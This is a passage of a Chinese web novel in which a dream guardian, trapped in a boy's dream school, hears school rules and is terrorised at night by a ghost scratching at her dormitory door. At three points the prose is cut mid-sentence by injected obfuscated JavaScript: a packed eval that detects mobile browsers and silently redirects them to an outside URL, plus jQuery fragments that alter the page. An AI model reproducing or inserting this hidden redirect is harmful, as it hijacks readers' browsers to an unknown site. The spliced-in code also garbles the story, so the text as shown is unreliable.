保洁阿姨谨慎地走了几步,手里的拖把越抓越紧,恨不得立刻就挥在潼燏的脑袋上,她刚走到一半,身后忽然传来一阵窸窸窣窣的声响,随后又传来了一阵急促的脚步声。 像是有人刚从那里逃走。 “原来是躲在那了,你给我站住!”保洁阿姨一个利落的转身,挥舞着手中的武器,朝着声音的方向追逐而去。 后方的脚步声越来越远,直到消失不见,潼燏抬手擦了擦额头上的冷汗,小心翼翼地探出半个脑袋观察起了敌情。 走廊上空无一人,看来这狂野的女人已经被她甩掉了。 她赌赢啦! “唉......”可是她一点都不高兴,喘了口气侧身靠在柱子上吐槽道,“这学校里的人是不是都有狂躁症啊,一个个不点都能炸,这里到底是学校还是疯人院啊,没一个正常的。” “你干什么了,惹得那阿姨杀了你的心都有。”一个幸灾乐祸的声音陡然在她的身后响起。 “谁啊!”潼燏吓得一抖,回身一看,宋洹默正悠闲地坐在走廊旁的栏杆上,单脚踩在杆子上背靠着墙看着她。 他一副看热闹不嫌事大的模样,一手搭在膝盖上,嬉笑着说道:“你刚在厕所里跟她打架了?” “拜托,你别这么吓人好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15046257|161139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好,我真服了,你们一个个的想吓死我是不是。”潼燏拍着胸脯走到他面前,踮起脚一屁股坐上了栏杆,松了口气道,“我可没有,是她单方面攻击我,唉,不对......” 她眯了眯眼,一脸质疑道:“你小子怎么知道我去了厕所,难道你......” 宋洹默及时阻止了她的胡思乱想,单手敲了两下栏杆,嘲笑道:“我刚看到你从教室里跑了出来,捂着嘴像条蛆一样在走廊上涌动,我出来看看你是不是又发疯了,结果正好看到你被人撵着从厕所里逃了出来,就像一条......” 他眨着狡黠的双眸,直起身微微朝着潼燏凑近了一些,字正腔圆道:“丧家之犬。” “切。”潼燏翻了个白眼,不屑道,“要不是我失去了控梦之力,区区一个阿姨能奈我何,你笑什么笑,上课时间还乱跑,一看就不是好学生。” 宋洹默歪起嘴角,阴阳道:“你是好学生,上课时间不待在教室,去厕所和保洁阿姨打架。” “拜托,是她先动手的好吗,我不过是上了个厕所而已,哎呀,我不跟你扯这些没用的了,请你搞清楚现在的状况好吗?”潼燏懒得再跟他斗嘴,强行把话题拉回了正轨,“我们之前明明已经离开梦境了,怎么一睁眼还在你的梦里?” 宋洹默听到她的话,一脸单纯无害地指了指自己,天真道:“你是在问我吗?麻烦你搞清楚谁才是梦境守护者。” “我可以确定你的梦境星星没有出故障,因为你的梦一直在正常地进行,关于梦境系统我也认真思索过了,它应该也没有出问题,因为人类的梦境是在睡眠状态下进行的,所以目前唯一的解释就是你这个梦主到现在为止都还在睡觉,所以才导致我们离开了一个梦又接着开始了下一个梦。” 上一个梦境忙着逃跑都没时间好好想一想,这一次的校园环境倒是给了她很多时间把所有的事情捋了个大概,现在她基本可以确定,梦境还在继续的唯一原因就是宋洹默睡得太死。 “你的意思是这都是我的问题?”被指为罪魁祸首的宋洹默一手撑在下颌上,歪头问道,“你怎么确认梦境系统没有出问题?你之前不还在骂它吗?” “这么多年它从来没出过任何问题,这个世上任何一个程序都有可能出现BUG,但唯独它绝对不可能。”潼燏双手抱臂,信誓旦旦地说道。 之前是她太着急所以才胡乱开枪,但冷静下来想想,确实不是系统的问题。 唯一有问题的就是她眼前这个睡眠质量过于优秀的梦主。 “原来是出自你盲目的自信,我还以为你有多专业。”宋洹默嗤笑了一声,继续托着下巴问道,“那关于梦境为什么会产生真实五感的这个问题,你想到答案了吗?” “嗯......暂时没有。” “你出不去我的梦,这个问题想清楚了吗?” “呃......还没。” “那你的控梦之力呢?” “呃......也没恢复。” “呵。” 宋洹默脚上一撑跳下了栏杆,微风席卷起了他的发丝,他单手插兜,懒洋洋地走到潼燏面前,俯下身轻描淡写道:“原来守护人类梦境的就是你这样一问三不知的人,我现在突然有点为人类感到悲哀了。” 潼燏侧过头,看到了他眼里的嘲讽,她神色一沉,忽而发出一声轻笑,低下头摇了摇,淡淡道:“我承认我是没有熟读梦境管理手册,回答不了你的问题,但我从成为人类梦境守护者的那一天开始,从来没有辜负过任何人的梦,我从始至终一直小心翼翼地守护着每个人的梦镜,没有你说得那么不堪。” 说完她便越过他,纵身跳下栏杆,径直朝着走廊的另一头走去。 人类的梦境自始至终都不只有虚幻,也有一部分真实生活的投射,她一直以来都能在梦中看到每个人人生中真实的一部分,她会给那些现实中过得不那么好的人安排一些快乐的梦境,让他们也能在梦里短暂地幸福一下。 那些因失去亲人而痛苦的,她也偶尔会给对方设定一个与亲人团聚的梦境,虽然只是寥寥几次,但这稍纵即逝的爱意能支撑活着的人走得更远,更勇敢。 毕竟伤痛不宜长久,但爱能永远留在人的心中。 她所做的事很多,但永远只在黑夜中进行,没有人看的到也没有人会知道。 她承认自己还有许多做得不好的地方,但绝不接受片面性的诋毁。 宋洹默看着她离去的背影,虽然她刚才的语气很是平淡,但他明显地感觉到,她是真的有些生气了。 他站在原地张了张嘴,最终还是没说什么,默默地看着她消失在了转角处。 16. 校规(五) “算了,还是进去吧,这只是个梦而已,没什么可怕的。”潼燏站在走廊上挣扎了半天,最终还是选择回到了教室里。 她低着脑袋畏畏缩缩地找到了自己的座位,纠结一阵后,单手遮在眼睛上,透过指缝往台上一瞄。 讲台上空无一物,没有血迹也没有尸体,那凶神恶煞的秃头班主任也不知道去了何处,整个班里只剩下一群奋笔疾书的学生。 看来解剖课已经结束了。 “沙沙”的笔尖划过纸张声不绝于耳,她看着一个个埋头苦写的同学,戳了戳同桌的手臂问道:“二百五,你们在写什么呢?” 第二百五十名听到她的称呼,气得差点把手里的笔折断,他压下心中的愤怒,竖起中指扶了扶脸上的镜框纠正道:“这位没有名次的同学,我再重新声明一遍,我的名字叫第二百五十名,请你不要简称。” 哦,那还不是二百五吗?潼燏在心里吐槽了一句,嘿嘿一笑道:“好的,第二百五十名,请问你在写什么呢?” 见她终于喊对了名字,第二百五十名满意地回过身,直起腰板道:“抄校规。” “校规?这玩意还要抄,我看看......”潼燏伸长了脖子,好奇地凑过去一看。 只见他面前的本子上一片空白连个标点符号都没有,就像他的大脑一样,空空荡荡。 原来在装认真呢,怪不得只能考个二百五。 “嗯,字写得不错,你继续。”潼燏看破不说破,双手一摊,示意他继续装——哔。 “请勿打扰。”同桌面不改色,握着黑色水笔凭空在本子上方一字不漏地抄起了校规,那皱眉抿嘴的认真模样倒真是装得有模有样。 “是个高手。”潼燏对他的摸鱼大法表示了十分的欣赏,她翻了翻桌上厚厚的医学书,看着里面枯燥乏味的文字喃喃道,“好无聊啊,还以为在梦里上课能有点什么新花样呢。” 她看了一会,密密麻麻的文字搅得她头痛脑胀,她晃了晃脑袋,把书往桌兜里一丢,抓起桌上的圆珠笔百无聊赖地转了起来,托着腮帮子抱怨道:“到底什么时候才能下课啊?” 正说着,窗外高悬的太阳随着她的尾调快速地落了下来,灰暗的夜幕似怪兽般大口大口吞噬掉了人类的光明,整个教室乃至整片天空瞬间黑了下来,没入了无边的黑暗里。 潼燏惊得直起了脖子,无语道:“我去,我说的是赶快下课,没让你这么快就天黑啊。” “天黑了,快跑。”教室里的人齐齐把笔一扔,似傀儡般发出了一句机械性的呐喊。 他们刷刷起身,默契地转过身朝着门口跑去,离开前还不忘将桌上的书本摆得整整齐齐,忙中不乱地将椅子推了回去。 跑?跑哪去?晚自习都不上了? 潼燏一脸懵圈坐在位置上,看着他们整齐有序地排好队跑出了教室,忍不住为他们鼓掌道:“好整齐啊,平常是不是经常演练啊。” “你还坐着干嘛。”一个扎着丸子头的女生跑过她身边,一把抓住她的胳膊催促道,“快跑啊,不然就得扣学分了!” “啊?”潼燏急急忙忙起身,不明所以道,“怎么了?去哪啊?” “回寝室啊,你这不是明知故问吗。”女生快速地回答了她的问题,拽着她一起朝着门口跑去。 啥?这么快就回寝室睡觉了? 潼燏迷茫地跟着她下了楼,一路上密密麻麻全是人。 整栋教学楼的学生都像机器似的统一接收到了指令,井然有序地朝着宿舍楼跑去。 “看来大家睡觉都很积极嘛。”潼燏不再询问,火速融入了群体,兴高采烈地跟着大部队向前跑去。 不就是睡觉嘛,睡觉好啊,她最喜欢睡觉了。 宋洹默也跟着班里的人跑出了教室,他越过无数黑压压的头顶看到了前方正在奔跑的潼燏,出声喊道:“潼燏,你等一下!” 但她像是没听见似的,头也不回地往前跑着。 “潼燏,你站住!” 宋洹默见她不理睬自己,侧身挤过熙熙攘攘的人群,追上去喊道:“潼燏,别跑,你等一下,我有话跟你说。” 但周围太过嘈杂,他的声音全数淹没在了纷乱的脚步声里。 咦?刚才是有人在喊我吗? 潼燏隐约间听到了自己的名字,刚想回头,丸子头女生拉着她一个冲刺,提醒道:“看什么呢?赶紧回寝室。” “哦。”潼燏立即将这模糊的猜测抛到了脑后,跟着她一起跑进了宿舍楼里。 “宋洹默,你跑错方向了,那边是女生寝室。”一个男同学见宋洹默脱离了大部队,立马急匆匆地上前将他拉回了男生队伍里。 “我不回寝室。”宋洹默甩开他的手,再回头看时,早已不见了潼燏的踪影。 “什么?你是不是疯了,不回寝室的话会被扣除所有的成绩直接排在倒数,你现在连个名次都没有,再扣分恐怕连这学校你都没得读了。”男同学苦口婆心地劝说着,硬拉着他走进了男生寝室楼。 “不读就不读,这破学校有什么好的。”宋洹默回过头,远远地看了一眼女生寝室楼,看来一切只能等天亮再说了。 所有的学生都赶在宿舍关门前回到了各自的寝室里,潼燏进门前匆匆扫了眼门牌——“640”。 呃……“4”? 怎么感觉这数字有点不妙啊。 “你傻站着干什么,快进来,我要锁门了。”丸子头女生见她停下了脚步,站在门内催促道。 “来了。” 潼燏快步走了进去,看到女生把门锁好后踮起脚插上了门上的三道插销,接着又蹲下身锁好了下方的三道插销,反复检查几遍后这才放心地拍了拍手,回到了床边。 ? 这么多道锁是用来防宿管阿姨还是防贼的?难道这寝室楼里藏着什么可怕的怪物,一到夜深人静就出来觅食,专挑年轻貌美的女生下手? 天呐,她可不想再上演什么虎口求生了,求求系统放过她吧,让她安安稳稳地在梦里重温一下校园时光不好吗? 一想到这,潼燏不由得百爪挠心,她抽了抽嘴角指着门上的七道枷锁,不安道:“我想问一下,咱们寝室门上按这么多锁干什么呀?” …… 她等了一会,房间里的人没有一个理睬她,她们施施然地走到床前,整齐划一地整理起了自己的铺盖。 怎么感觉怪怪的? 潼燏心中的疑虑又加深了不少,见她们不说话,只好先上前观察起了寝室环境。 这是一间普通简陋的六人寝,木质的上下铺,蓝白色的被单,一排水泥制成的洗手池上方横着一根脱漆斑驳的灰色晾衣杆,上面还挂着滴滴答答不停往下渗水的破旧校服。 寝室里甚至连个单独的卫生间都没有,要想上厕所或者洗澡,只能穿过外面长长的走廊,去到那常年排队的公用厕所,在头顶摇曳不定的昏暗灯光下解决生理需求。 “这寝室也太破了吧,也不知道给我设定一个豪华点的。”潼燏低声抱怨了一句,似领导巡视般查看起了她即将休憩的床榻。 每张床铺都如她们胸前的名牌般贴着各自的名字,她的床是在靠近洗手池位置的下铺。 她伸手摸了摸铺着蓝色床单的床板,虽然硬得跟铁板一样,但好在还算干净。 潼燏撩开被子坐了下来,见其他四个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061591|161139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人还在整理床铺,她顺手点了一下人数,随口道:“少了个人,怎么还有个同学没回来?” 周围四人听到她的话,齐齐停下手里的动作转头看向她,眼里似有似无地闪过了一丝冷漠。 “潼燏,你忘了吗?”一个短发女生慢悠悠地走了过来,自来熟地坐到了她的身旁。 潼燏一看,她竟然是那个叫第一名的女生。 我去,这人怎么跟她一个寝室啊? 第一名看出了她眼中的诧异,温和一笑,脸颊旁露出了两个甜甜的酒窝。 这极具亲和力的模样与白日在教室里解剖心脏时的冷血截然不同,她十分亲热地拉过潼燏的手,笑盈盈道:“这位同学已经转学走了。” “哦,不好意思,是我忘了。”潼燏微微垂眼,看着那双曾沾满鲜血的双手此刻正紧密无间地覆盖在自己的手掌上。 “啊!好疼!好疼啊!” 她的耳边似乎又响起了男人痛苦的惨叫声,一阵恶心席卷上了喉头,她干笑了两声,不动声色地将自己的手抽了回来,揣进了裤兜里。 “没关系。”第一名不在意地笑了笑,说道,“只要你别忘了校规就行。” 校规? 这是她今天第二次听到这个东西。 潼燏拍了拍自己的脑袋,装作傻乎乎的模样道:“哎呀,我最近记性不太好,你能不能再跟我说说校规是什么呀?” “当然可以了。”第一名意味深长地一笑,十分贴心地帮她回忆起了校规上的内容。 “第一,不能站在楼梯口。” “第二,不能随意调整洗澡水的温度。” “第三,不能没检查床铺就睡觉。” “第四,不能在上课时回头。” “第五,不能在吃饭时离开自己的座位。” “第六,不能去学校后面的池塘。” “第七......”第一名的声音忽然变轻,她眨了眨眼睛,靠近潼燏咧嘴一笑道,“不能从门缝里看人。” 啊?这什么乱七八糟的校规。 潼燏听得一头雾水,虽然每一条都很莫名其妙,但毕竟是在梦里嘛,无厘头也是正常的。 不过她倒是对最后一条有些好奇,故作懵懂地问道:“为什么不能从门缝里看人?” 第一名听到她的话,脸色一顿,神情变得格外凝重了起来。 她收起酒窝,漂亮的脸上露出了一丝恐惧,迟疑了一会沉声道:“曾经的某个夜晚,就在我们的楼下,有一间寝室的学生在晚上睡觉时听到了扒门的声音,那种声音就像是有人在门外用长指甲刮擦着门板,呲啦,呲啦......” 呲啦? 潼燏觉得她模仿的声音有些耳熟,脑中一闪,忽然想起白天在厕所里听到的就是这种声音。 “呲啦,呲啦……” 第一名越说越入迷,讲到高潮处甚至还伸出手模仿起了抓门的动作,长长的指甲在空气中不停地划拉,似乎也隐隐发出了呲啦的声响。 她的眼神逐渐变得诡异了起来,目不转睛地盯着前方的白墙幽声道:“寝室里的女生不敢开门,她们搬来凳子,趴在门后探头从上方的小窗里看了出去,门口什么都没有,但声音却还在持续......” 潼燏听得手臂上的汗毛都不由得竖了起来,没想到这第一名不但学习好,讲故事也这么栩栩如生,听得她那叫一个透心凉。 但这剧情的走向不妥妥是一个惊悚鬼故事吗?大半夜的,说这些好像不好吧。 毕竟根据常见的鬼片定律,主角所有的作死后续都是由一个看似平平无奇的故事开展的。 这套路她实在是太熟悉了! 17. 校规(六) 潼燏虽然还算胆大,平时跟朋友玩个密室逃脱也没在怕的,但她最听不得鬼故事,这东西一时听一时爽,等夜深人静了,那种无意间扎根在心底的恐惧会像细菌繁殖一样,无限地在脑海里繁衍。 真正的恐怖才刚刚开始。 更何况现在可是在梦里,万一说着说着真窜出来了一只怎么办,她现在手无缚鸡之力,怎么干得过一个阿飘啊。 “呵呵。”她立即干笑了两声,有模有样地看了眼手腕上不存在的手表打断道,“那个......我突然不是很好奇了,时间不早了,我看我们还是早点睡吧,明天还要上课,可不能耽误学习了。” “寝室里的女生觉得很奇怪,门外没有人,那声音是从哪里传来的?”第一名像是着了魔一般无视了她的话,继续自顾自地说着。 说到一半,她转头看向潼燏,抬手撑开了自己的眼皮,两颗棕色的眼珠赤裸裸地暴露在了布满红色血丝的眼眶里。 她狰狞着脸,兴奋地说道:“其中有个女生胆子很大,她趴在地上朝门外看去,一双血红的双眼正隔着门缝死死地盯着她,迸裂的眼角还在不断地往地板上滴血。” “啊!”第一名话音刚落,毫无征兆地尖叫了起来,尖利的喊叫声瞬间充斥了狭窄的寝室。 潼燏急忙捂住耳朵,起身避开了她。 她却依旧保持着撑着眼皮的诡异姿势,瞪着一双铜铃般大的双眼持续不断地发出刺耳的叫声。 旁边的三个人像习惯了似的,一脸平静地整理着自己的床铺,连眼皮都没往她们这边抬一下。 潼燏皱着眉,孤立无援地站在一旁,她害怕第一名叫着叫着突然变异,警惕地退到墙边,对着第一名防备性地问道:“你怎么了?没事吧?” 此话一出,第一名闭上嘴停止了尖叫,她抬起手揉了揉发酸的嘴角,一改刚才的诡异,哈哈大笑了起来:“潼燏,你不会真的信了吧,哈哈哈哈哈,真是太好笑了,我随便编的你都信,你也太单纯了吧。” 她笑得前仰后合,像是听到了什么天大的笑话似的,捧着肚子越发疯狂地笑了起来,边笑边指着潼燏说道:“哈哈哈,你别怕,我就是开个玩笑,你可千万别吓得晚上睡不着觉,哈哈哈。” “呵呵,好好笑哦。”潼燏见她笑得如此癫狂,深深地觉得自己被耍了一道,她敷衍地咧了咧嘴,回到床边下了逐客令,“你放心,我一点都没在怕的,我要睡觉了,你回自己床上去吧。” “那就好,时间也不早了,是该睡觉了。”第一名擦了擦眼角笑出的泪水,起身脱掉鞋子,抓着两床之间的铁杆利落地爬到了自己的床铺上。 好巧不巧的是,她的床正好在潼燏的上铺。 “真是无聊。” 潼燏嘀咕着,掀开被子躺到了床上,其他三个室友整理完床铺也都齐刷刷地爬到了自己的床上。 她们盖着被子,两眼一闭直挺挺地躺在硬邦邦的木板床上,像极了一具没有思想的木偶。 “对了,我再重新纠正一下。”第一名忽然从上铺探出半个身子,低垂着脑袋看向她,咧了咧嘴角道,“其实我刚才说的都是真的,这七条校规你可一定要遵守哦,不听话的话,会遇到非常可怕的事哦。” 说完,她扭着脑袋微微一偏,黑色的短发遮住了她的半只眼睛,她似笑非笑地看着潼燏,饶有兴致地等待着她的回答。 “无所谓,我不在乎它是真是假。”潼燏被她看得莫名有些不适,扯了扯被子,翻过身不再搭理。 “那晚安喽。” 第一名冲着她的背影甜甜一笑,起身躺回了床上。 棕色瞳孔里的笑意渐渐褪去,她直勾勾地盯着上方的白色天花板,眼底掠过了一丝凶狠。 “啪嗒。” 靠近门口的下铺同学抬手关掉了灯,整个寝室顿时像陷入了黑洞般一下子暗了下来。 潼燏平躺在床上,折腾了一天的她实在是有些疲惫,但现在情况不明,她连自己为什么出不去这个梦都还没搞明白,实在没法安下心来好好休息一会。 “唉,到底怎么回事啊。”她埋头思索了一会,想破了脑袋也没想出个所以然来,只好疲惫地叹了口气,借助着窗外投射进来的月光,呆呆地望着天花板上的风扇出神。 白色的扇叶呼啦呼啦地转动着,速度快到都快看不清扇叶的形状了。 潼燏看着看着,思绪也跟着它缥缈了起来,但燥热的空气很快又将她拉回了现实。 炎热的夏季,寝室里居然连个空调都没有,只有这么一个破电扇吱呀乱叫地运转着。 潼燏热得不行,掀开被子撸起了裤脚,整个人呈大字型躺在梆硬的木板床上,勉强感受着头顶那飘忽而来的微弱暖风。 “好热啊,这梦也太拉胯了,连个空调都没有,想热死我是不是。”她轻声抱怨着,感觉整个寝室的空气越来越闷热,跟蒸桑拿似的热得她浑身上下都在呼啦啦地往外冒汗。 “好热。”她抖着衣服上的领口,转头看了一眼室友们。 她们严严实实地裹着被子躺得笔直,好像一点都不热的样子。 怎么感觉她跟她们在两个世界似的,甚至她们几个看起来还有点冷呢? “受不了了,太热啦!”潼燏的脸上冒出了一层细密的汗水,她抬手给自己扇起了风,试图让自己凉快一点。 也不知道宋洹默怎么样了,他现在是不是也躺在寝室里,算了,管他呢,反正他也看不上自己,随他去吧,等他睡醒了这个梦就结束了,他们也不会再见面了,他只不过是她人生中一个微不足道的过客而已。 不,连过客也算不上,他们只是在梦里见了个面,一觉睡醒,谁也不会记得谁。 她现在没了控梦之力,还是老老实实地跟着剧情走吧,免得再出什么幺蛾子。 毕竟安全第一。 潼燏下定了决心,闭上眼打算小憩一会,心静自然凉。 “呲啦......呲啦......” 正当她好不容易静下了心,一阵指甲划拉门板的声响陡然在耳边响起,像电流一般触及了她身上的每一根神经。 她唰的一下睁开了眼睛,静谧的空间里,除了风扇的转动声,就只剩下了这毛骨悚然的呲啦声。 起初她以为是自己出现了幻听,沉下心细细一听后才发现这声音不但清晰无比,并且还是从门外传来的。 半夜......声音......门外...... 这一环接一环,严丝合缝地对应上了第一名睡前讲的故事,连每个情节都如出一辙。 天呐,恐怖片里的剧情真的发生了。 “呲啦......呲啦......” 潼燏听得心里发毛,浑身竖起了鸡皮疙瘩,刺骨的寒意一阵阵涌上了她的身体,似海浪般卷走了她全部的理智,徒留下了满腔的恐惧。 我嘞个去,这什么鬼剧情啊,不会真的有阿飘吧?第一名说的校规难道都是真的? 她不敢再想,紧闭着眼,颤抖着手指慢慢地伸到左边,小心翼翼地扯起被子一点一点盖到了自己的身上,试图用它建立起一道安全的保护罩。 “呲啦......呲啦......” 门外的呲啦声还在持续,声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093259|161139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐渐从缓慢变成了急躁,像是有人在门外等得不耐烦了,开始暴躁地用指甲划拉着门板,白色漆皮被划出了一道道深浅不一的口子。 潼燏听这动静越来越狂躁,吓得不敢做太大的动作,她只能以极其缓慢的速度小心地拉着被子,生怕一不小心发出声响被门外的不明生物发现,那她的小命估计就不保了。 “砰!砰!” 门外的声音愈发响了,那不明生物的耐心似乎已经达到了极点,它开始发狂似的撞击着木门,剧烈的冲撞声在寂静的楼道里不断地回响。 “我去,完了完了。”潼燏被吓得心脏怦怦直跳,浑身紧绷得像个石雕一样。 她不敢再动,睁开眼朝着一旁的室友们投去了求助的目光。 What? 只一眼,她的心顿时寒了下来。 这么大的动静,她们居然还能高枕无忧,一个个跟吃了安眠药似的躺在床上一动不动。 宛如人机。 “同学们。”她颤抖着声音,在门口不断的撞击声中,凄惨地呼唤着室友们,“你们......没,没听见门口的声音吗?” “室友们,快醒醒啊,门外有危险,别再睡了!” “姐妹们,求求了,能不能给点反应啊?” “求你们别睡了,敌人都快攻进来了,你们还睡得着吗?赶快醒醒,再睡下去小命就要呜呼啦!” 可无论她怎么呼唤,这四个人都跟聋了似的,心无旁骛地躺在床上做着美梦。 “我真服了,怎么能睡得这么死。”潼燏放弃了她们,坐起身朝着门口看去。 “砰!砰!砰!” 撞击声越来越响,上方锁着的插销被撞裂了三个,仅剩下下方的三个插销还在苦苦支撑着。 脆弱的木门上出现了一道深深的裂缝,它在猛烈的攻击下不断地发出嘎吱嘎吱的声响,看样子也快要撑不住了。 再躺下去也不是回事啊,难道就这么坐以待毙,等着它进来干掉自己吗? 不行,她必须做出反击。 潼燏鼓起勇气,一个翻身下了床,火速穿好鞋子蹿到阳台上火急火燎地寻找起了防身的工具。 但整个阳台空空如也,除了滴答作响的校服外连个盆都没有,她找了半天,终于在水池下方的角落里找到了一个沾着暗黄色物体的马桶橛子。 “呕,有总比没的好,呕。”她压下恶心,一边干呕着一边举着马桶塞抖抖擞擞地缩在了阳台边的角落里。 “哐当。” 门口传来铁器掉落的声音,一定是门下方的插销被撞掉了,再这样下去,不出几分钟,这门绝对守不住了。 这动静都响了老半天了,学校里的老师不是挺爱管的吗,怎么这会倒没人出来吱声了,选择性听不见是吧? 真是无语。 潼燏紧紧地抓着马桶橛子,闭着眼埋头抵在臂弯里,上个梦她好不容易逃出食人族的包围,一转眼却又要栽在鬼怪手里。 她身为梦境守护者,平时任劳任怨,维修售后从不懈怠,怎么一进这小子的梦里就这么命运多舛啊,要不是失去了控梦之力,她也不至于拿着个马桶橛子在这躲着,早出去跟它大战三百回合了。 “宋洹默,你个坑货,关键时候也不知道跑哪里去了,你这什么奇葩的梦啊,真是服了......” 潼燏骂骂咧咧,刚骂到一半,门口的撞击声骤然停止,她立马闭上了嘴,抬起头警惕地看向前方。 整个空间再次变得寂静无比,只听到天花板上的老旧风扇还在那哗啦哗啦地转动着。 奇怪?怎么没动静了? 18. 校规(七) 潼燏睁开眼,半蹲着一点点挪到了墙边,谨慎地探出半个脑袋隔墙望向门口。 借助着幽暗的月光,她看到寝室的木门虽然裂开了几道歪歪扭扭的长缝,但它依旧十分□□地拦在门口,以一己之力抵挡住了鬼怪的袭击。 不过门外怎么突然安静下来了?难道鬼也会累? 不不不,按照鬼片的惯用套路,或许是对方故意停下想让她放松警惕,等她好奇地走到门口查看时再给她致命的一击。 切,她才不会干这么傻的事!乖乖地躲在这里不好吗。 潼燏按兵不动,抓着马桶搋子躲在墙后静静地等待了一会,门外许久都没有再传来声音。 难道它真的放弃了,离开这里了? 门上的裂缝太细,以至于她根本看不到外面的情况,潼燏灵机一动,试着趴下身体朝门底下的缝隙看去,刚趴到一半,脑海里闪过了第一名的声音。 “其中有个女生趴在地上朝门外看去,一双血红的双眼正隔着门缝死死地盯着她,迸裂的眼角还在不断地往地板上滴血。” …… 低沉的声音似鬼魅般激起了她心中的波澜,一阵莫名的寒意过后,潼燏忍不住打了个冷颤,鸡皮疙瘩犹如浪潮般从她的小臂上蔓延了上来,她迅速打消了这个危险的想法,直起身子收回了脑袋。 她可不想在门缝里看到什么可怕的东西,她只想四肢健全头脑发达地离开这个离谱的梦境,但凡存在一丝危险因素的东西,她都绝对离得远远的。 “应该走了吧。”潼燏又仔细地听了一会,确认门外真的没了动静后,她立马扔掉马桶搋子跑回了床上,拉起被子严严实实地裹住了全身。 她侧躺在木板床上,汗湿的后背紧紧地贴着身后的白墙,蒙头躲在被窝里不敢再发出一丁点声音。 过了一会,她缩在被子里闷得有些喘不过气来,刚想松开个口子透透气,犹豫了一会还是没敢露出半根手指。 厚厚的被子是她此刻唯一的安全感,似乎只要躲在被子里,无论什么鬼怪都伤害不到她。 “呲啦......呲啦......” 不知闷了多久,正当她想把发麻的腿重新换个姿势时,刺耳的呲啦声再次在她的耳边响起。 她立马停下动作,脑袋瞬间一片空白。 这次与刚才不同,声音不是从门外传来,而是清晰地明确地出现在了她的头顶上方。 距离近到她甚至听到了指甲断裂的声音。 “咔嗒......” 潼燏好不容易缓下来的心脏一下子狂跳了起来,全身的热汗瞬间变得冷冰,身上的每个毛孔都在疯狂地叫嚣着恐惧,她的手脚像被冰冻住了一般,一下子降到了零下。 她惊恐地瞪大了双眼,艰难地转动着眼珠看向了自己的头顶上方。 天呐,不会是门口的阿飘进来了吧,我滴个老天爷啊,她现在不会正站在她的床前用指甲刮擦着床边的铁杆子吧。 完了完了,这是真想要她的小命啊! 潼燏紧张又害怕地闭上了眼睛,死死地抓着手里厚重的被子。 她浑身上下大汗淋漓,蓝白色的校服早已湿透,已经分不清是热的还是被吓的。 “呲啦......呲啦......” 这刺耳的声音像催命咒一般不停地在她的耳边盘桓,潼燏跟戴了紧箍咒似的听得头痛欲裂胆战心惊,她紧紧地贴着白墙,极力克制住心中的恐惧这才没让自己像筛子一样抖了起来。 残余的理智告诉她,这时候绝不能暴露出自己的脆弱,一旦心理防线被攻破,这阿飘估计会直接掀开她的被子,张着血红的利爪狠狠掐上她的脖子。 绝不能让她得逞! 潼燏打定了主意,顶着一脑门子汗紧咬着嘴唇,意志坚定地与被子外面的阿飘对峙着。 按照常见的鬼片走向,天一亮这阿飘应该就会消失了,所以她只要死守到太阳出现,就胜利了。 求你了姐,快走吧,我跟你无冤无仇,你可千万别来索我的命啊,我这一生好善积德,走在路上但凡看到流浪猫都得喂两口肠,你何必为难我这个小小的NPC呢? 再说了这也不是我的梦啊,你折腾我干什么呢?谁是梦主你就去找谁呗,那个叫宋洹默的小子这会儿肯定在男寝待着,他长得可帅了,你要不还是去吓吓他吧,吓晕了随你怎么处置。 救命啊,别刮我床边的铁杆子了,求求了,这又不是你磨爪子的地方。 潼燏不断地在心里祈求着,随着时间一分一秒地过去,艰难地熬了一个小时后,那磨人的声音终于消失在了她的身边。 没动静了,难道又走了? 她刚想探出被子查看一下情况,意识到不妥后又立马缩了回去。 对方极有可能还在寝室里,说不定正等着她掀开被子给她一个大大的惊喜,哦不,是惊吓。 好险,差点就自投罗网了。 潼燏庆幸地抹了把脸上的冷汗,继续畏畏缩缩地贴着墙,等待着太阳的升起。 “潼燏,这么热的天,你捂着被子干什么呀?” 一道甜美的声音忽然从她的上铺传来。 是第一名在说话。 潼燏听到她的声音,提在嗓子眼的心顿时往下放了一放,她这几个睡眠质量极佳的室友总算是睡醒了,那是不是也意味着马上就要天亮了。 唉,终于熬过去了。 “呼……”她长舒了一口气,掀开被子转身看向上铺,温热的新鲜空气扑面而来,她像是久违了一般大喘了一会,抬起眼疲惫又后怕道,“刚才......” 只一眼,所有的话语硬生生地遏制在了喉咙口。 她猛地睁大了双眼,微张的嘴卡在说话的动作上忘记了合拢,浑身的血液瞬间凝固,一阵无声的恐惧冲上她的大脑,禁锢住她的四肢将她牢牢地定在了床上。 上铺的木板夹缝里,一双血红的眼睛正贴在缝隙中死死地盯着她。 